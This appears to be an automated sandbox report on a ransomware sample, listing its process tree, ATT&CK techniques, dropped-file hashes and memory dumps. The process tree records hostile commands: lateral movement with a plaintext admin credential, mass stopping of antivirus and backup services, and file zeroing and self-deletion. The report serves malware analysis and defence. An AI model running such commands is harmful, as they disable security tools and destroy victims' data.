- C:\Windows\SysWOW64\net.exe
  "net.exe" use \\10.127.0.125 /USER:EDENFIELD\efadmin P455w0rd
  2⤵
  PID:5508
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpF58B.bat
  2⤵
  PID:5536
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:2180
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:3880
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:1848
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:1520
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:4532
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:1064
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:4204
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:2876
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:2216
- C:\Windows\SysWOW64\arp.exe
  "arp" -a
  2⤵
  PID:2420
- C:\Users\Admin\AppData\Local\Temp\mkui4iah.exe
  "C:\Users\Admin\AppData\Local\Temp\mkui4iah.exe" \10.127.0.125 -u EDENFIELD\efadmin -p P455w0rd -d -f -h -s -n 2 -c C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1280
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:528
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:2792
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:4640
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:6068
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  PID:3880
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:5572

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
1⤵
PID:5248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
1⤵
PID:5412

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
1⤵
PID:5360

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfewc /y
1⤵
PID:5348

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
1⤵
PID:5336

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
1⤵
PID:5324

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
1⤵
PID:5316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
1⤵
PID:5292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
1⤵
PID:5184

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
1⤵
PID:5420

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
1⤵
PID:5428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
1⤵
PID:5876

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5964

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
1⤵
PID:5840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
1⤵
PID:5484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4trshz2y.uhh.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\mkui4iah.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\AppData\Local\Temp\mkui4iah.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
8079d2248bd95e2b5edcc8cea221aed6

SHA1
d1cda599e6be038897ff00d13b7c52a9f9cecee7

SHA256
67440ea0ea706d3e6c812d9506da0fdbfe0c7e13dcdfeac3f366715bdf2457dc

SHA512
d1f375a7cb4faacad5a0de08bbe3c095d845c57305fc0941ddf4abeff259cc7f6adb3d941a8654ee60b7d32de26679981aa9e8f46959d54840d180c75d8fd2ef

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
8079d2248bd95e2b5edcc8cea221aed6

SHA1
d1cda599e6be038897ff00d13b7c52a9f9cecee7

SHA256
67440ea0ea706d3e6c812d9506da0fdbfe0c7e13dcdfeac3f366715bdf2457dc

SHA512
d1f375a7cb4faacad5a0de08bbe3c095d845c57305fc0941ddf4abeff259cc7f6adb3d941a8654ee60b7d32de26679981aa9e8f46959d54840d180c75d8fd2ef

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memory/1820-1-0x00000000732E0000-0x00000000739CE000-memory.dmp

Filesize
6.9MB

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memory/1820-2-0x0000000004DB0000-0x0000000004DC0000-memory.dmp

Filesize
64KB

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memory/1820-3-0x0000000005610000-0x0000000005712000-memory.dmp

Filesize
1.0MB

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memory/1820-356-0x00000000732E0000-0x00000000739CE000-memory.dmp

Filesize
6.9MB

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memory/1820-12-0x0000000006780000-0x00000000067E6000-memory.dmp

Filesize
408KB

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memory/1820-0-0x00000000004D0000-0x00000000004EC000-memory.dmp

Filesize
112KB

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memory/1820-36-0x0000000006DC0000-0x0000000006E00000-memory.dmp

Filesize
256KB

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memory/3920-13-0x00000000043B0000-0x00000000043C0000-memory.dmp

Filesize
64KB

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memory/3920-68-0x000000007ED60000-0x000000007ED70000-memory.dmp

Filesize
64KB

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memory/3920-21-0x0000000007620000-0x0000000007970000-memory.dmp

Filesize
3.3MB

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memory/3920-28-0x0000000007990000-0x00000000079AC000-memory.dmp

Filesize
112KB

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memory/3920-31-0x0000000007BF0000-0x0000000007C3B000-memory.dmp

Filesize
300KB

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memory/3920-20-0x00000000073F0000-0x0000000007456000-memory.dmp

Filesize
408KB

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memory/3920-19-0x0000000006D10000-0x0000000006D32000-memory.dmp

Filesize
136KB

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memory/3920-18-0x0000000006B70000-0x0000000006BF2000-memory.dmp

Filesize
520KB

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memory/3920-35-0x0000000007F10000-0x0000000007F86000-memory.dmp

Filesize
472KB

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memory/3920-14-0x0000000006D50000-0x0000000007378000-memory.dmp

Filesize
6.2MB

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memory/3920-69-0x0000000008F70000-0x0000000008FA3000-memory.dmp

Filesize
204KB

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memory/3920-22-0x0000000007380000-0x0000000007390000-memory.dmp

Filesize
64KB

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memory/3920-70-0x000000006EF80000-0x000000006EFCB000-memory.dmp

Filesize
300KB

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memory/3920-71-0x0000000008F50000-0x0000000008F6E000-memory.dmp

Filesize
120KB

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memory/3920-76-0x00000000090D0000-0x0000000009175000-memory.dmp

Filesize
660KB

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memory/3920-79-0x0000000009260000-0x00000000092AA000-memory.dmp

Filesize
296KB

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memory/3920-78-0x00000000043B0000-0x00000000043C0000-memory.dmp

Filesize
64KB

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memory/3920-81-0x0000000009350000-0x00000000093E4000-memory.dmp

Filesize
592KB

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memory/3920-8-0x00000000732E0000-0x00000000739CE000-memory.dmp

Filesize
6.9MB

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memory/3920-9-0x0000000004200000-0x0000000004236000-memory.dmp

Filesize
216KB

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memory/3920-10-0x00000000043B0000-0x00000000043C0000-memory.dmp

Filesize
64KB

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memory/3920-365-0x00000000068B0000-0x00000000068CA000-memory.dmp

Filesize
104KB

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memory/3920-370-0x00000000068A0000-0x00000000068A8000-memory.dmp

Filesize
32KB

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memory/3920-386-0x00000000732E0000-0x00000000739CE000-memory.dmp

Filesize
6.9MB

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